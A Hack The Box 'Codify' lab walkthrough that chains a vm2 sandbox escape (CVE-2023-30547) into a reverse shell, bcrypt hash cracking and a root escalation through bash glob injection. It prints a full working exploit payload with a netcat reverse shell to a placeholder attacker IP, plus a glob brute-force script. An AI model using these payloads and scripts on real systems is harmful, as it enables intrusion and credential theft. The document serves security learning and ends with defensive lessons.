Codify // Hack The Box

InfoValue
OSLinux (Ubuntu)
DifficultyEasy
IP10.129.x.x
Hostnamecodify.htb
ServicesSSH (22), HTTP/Apache (80), Node.js Express (3000)

Enumeration

Nmap

sudo nmap -Pn -sC -sV -p- -vvv -oA nmap.scan codify.htb
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp   open  http    Apache httpd 2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework

Open ports:

  • 22/tcp // OpenSSH 8.9p1 Ubuntu
  • 80/tcp // Apache 2.4.52, reverse proxy to the Node.js web app
  • 3000/tcp // Node.js Express // web application for testing JavaScript code in a sandbox

Web Enumeration

The application on port 80/3000 is an online JavaScript code editor. The /about page reveals it uses the vm2 library to execute code in a sandboxed environment.

Identified version: vm2 3.9.16 // a version known for critical sandbox escapes.


Foothold // CVE-2023-30547 (vm2 Sandbox Escape)

Vulnerability

vm2 < 3.9.17 // The vm2 library for Node.js creates a sandbox to run untrusted code. Versions up to 3.9.16 contain a flaw in the handleException() mechanism: an attacker can use a Proxy object with a custom getPrototypeOf trap to access the host context’s Error object, escape the sandbox, and achieve RCE on the system.

Structural root cause: the sandbox catches exceptions with try/catch, but the exception’s __proto__ getter can be overridden via Proxy, allowing a reference to the host context to leak out of the sandbox.

Ref: https://nvd.nist.gov/vuln/detail/CVE-2023-30547 PoC: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

Exploitation

Payload entered directly into the web application’s code editor:

const { VM } = require("vm2");
const vm = new VM();
 
const code = `
  const err = new Error();
  err.__proto__ = null;
  const handler = {
    getPrototypeOf(target) {
      (function stack() {
        new Error().stack;
        stack();
      })();
    }
  };
  const proxiedErr = new Proxy(err, handler);
  try {
    throw proxiedErr;
  } catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('busybox nc <ATTACKER_IP> 443 -e /bin/bash');
  }
`;
 
vm.run(code);

The payload uses a Proxy to intercept getPrototypeOf during the exception catch. When the sandbox attempts to resolve the error’s prototype, the Proxy returns a reference to the host’s constructor, which grants access to process.mainModule.require('child_process') for arbitrary command execution.

Reverse shell

# Listener on attacker
nc -nvlp 443
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.x.x] 43210
whoami
svc

Shell stabilization:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

User svc (UID 1001) is the Node.js service account. No access to user.txt // lateral movement required.


Lateral Movement // From svc to joshua

Enumeration as svc

svc@codify:/var/www/editor$ ls node_modules/ | grep vm2
vm2

Confirmed vm2 library in the application directory.

svc@codify:~$ find / -name "*.db" -readable 2>/dev/null
/var/www/contact/tickets.db

Credential extraction from SQLite

svc@codify:~$ sqlite3 /var/www/contact/tickets.db
sqlite> .tables
tickets  users
sqlite> SELECT * FROM users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Bcrypt hash ($2a$12$) for user joshua.

SQLite DB Browser // joshua's bcrypt hash from tickets.db

Hash cracking

# Transfer hash to attacker machine
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash.txt
 
# Crack with hashcat (mode 3200 = bcrypt)
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

SSH as joshua

ssh joshua@codify.htb
# Password: spongebob1

User flag: obtained.


Privilege Escalation // Bash Glob Injection + Process Snooping

sudo -l

joshua@codify:~$ sudo -l
User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Script analysis

joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER='root'
DB_PASS=$(/usr/bin/cat /root/.creds)
# ...
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
 
if [[ $USER_PASS == $DB_PASS ]]; then
    /usr/bin/mysqldump ... -u "$DB_USER" -p"$DB_PASS" ...
else
    echo "Access denied."
fi

Vulnerability // two vectors

1. Bash glob injection: the comparison [[ $USER_PASS == $DB_PASS ]] uses $DB_PASS without quoting. Inside [[ ]], the unquoted right-hand side is treated as a glob pattern. The * character matches any string. Entering * as the password makes the comparison always evaluate to true.

2. Process snooping: if the comparison succeeds, the script runs mysqldump -p"$DB_PASS" with the real password as a process argument. Tools like pspy monitor /proc via inotify and read the cmdline of every new process, capturing the password in cleartext before the process terminates.

For countermeasures see Process Hardening (hidepid, argv masking).

Approach 1 // Glob bypass + pspy (fastest)

# Terminal 1 // process monitoring
joshua@codify:~$ ./pspy32
# Terminal 2 // run the script
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: *

The * bypasses the comparison. The script proceeds and launches mysqldump with the real password. pspy output:

CMD: UID=0 /usr/bin/mysqldump ... -u root -p<REDACTED> ...

pspy32 output // root password leaked in process arguments

Root password captured in cleartext.

Approach 2 // Character-by-character brute-force

If pspy is unavailable, the password can be extracted one character at a time using the same glob trick:

#!/bin/bash
# brute-privesc.sh //glob brute-force
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
password=''
 
echo "[*] Brute-forcing password via glob injection..."
 
while true; do
    found=0
    for (( i=0; i<${#charset}; i++ )); do
        c="${charset:$i:1}"
        attempt="${password}${c}*"
        if echo "$attempt" | sudo /opt/scripts/mysql-backup.sh 2>/dev/null | grep -q "successfully"; then
            password="${password}${c}"
            echo "[+] Found: $password"
            found=1
            break
        fi
    done
    if [[ $found -eq 0 ]]; then
        echo "[*] Complete password: $password"
        break
    fi
done

a* fails. k* succeeds (first character). kl* succeeds. And so on until the full password is reconstructed.

Root shell

joshua@codify:~$ su root
Password: <REDACTED>
root@codify:~# cat /root/root.txt

Root flag: obtained.


Attack Chain Summary

Nmap → 3 open ports, Node.js Express on 3000
       ↓
  Web app uses vm2 3.9.16 → CVE-2023-30547 sandbox escape → RCE
       ↓
  Reverse shell → svc
       ↓
  /var/www/contact/tickets.db → joshua's bcrypt hash
       ↓
  hashcat -m 3200 → spongebob1 → SSH as joshua → user.txt
       ↓
  sudo -l → /opt/scripts/mysql-backup.sh
       ↓
  Bash glob injection (*) + pspy → root password in cleartext
       ↓
  su root → root.txt

Flags

  • User: obtained (as joshua via SSH)
  • Root: obtained (as root via su)

Lessons Learned

  • vm2 sandbox escape (CVE-2023-30547): The vm2 library was deprecated after a series of unfixable sandbox escapes. Never use vm2 to run untrusted code in production //use isolated-vm (V8 isolates) or Docker containers with seccomp instead.
  • Bash [[ ]] and glob patterns: The comparison [[ $a == $b ]] without quoting the right-hand side interprets $b as a glob pattern. The fix is trivial: [[ "$a" == "$b" ]]. Always quote variables in bash comparisons.
  • Passwords as process arguments: mysqldump -p"password" exposes the password in /proc/PID/cmdline. Any local user can read it with ps -ef or pspy. The solution is to use configuration files (~/.my.cnf) or environment variables, and enable hidepid=2 on /proc. See Process Hardening.
  • Lateral movement via local databases: Unprotected SQLite databases in web application directories are a frequent source of credentials. Always search for *.db, *.sqlite, *.sqlite3 during enumeration.

Timeline

  • Total time: ~3h
  • Where I spent the most time: Privesc //analyzing the script and experimenting with pspy to intercept the password
  • Subjective difficulty: 4/10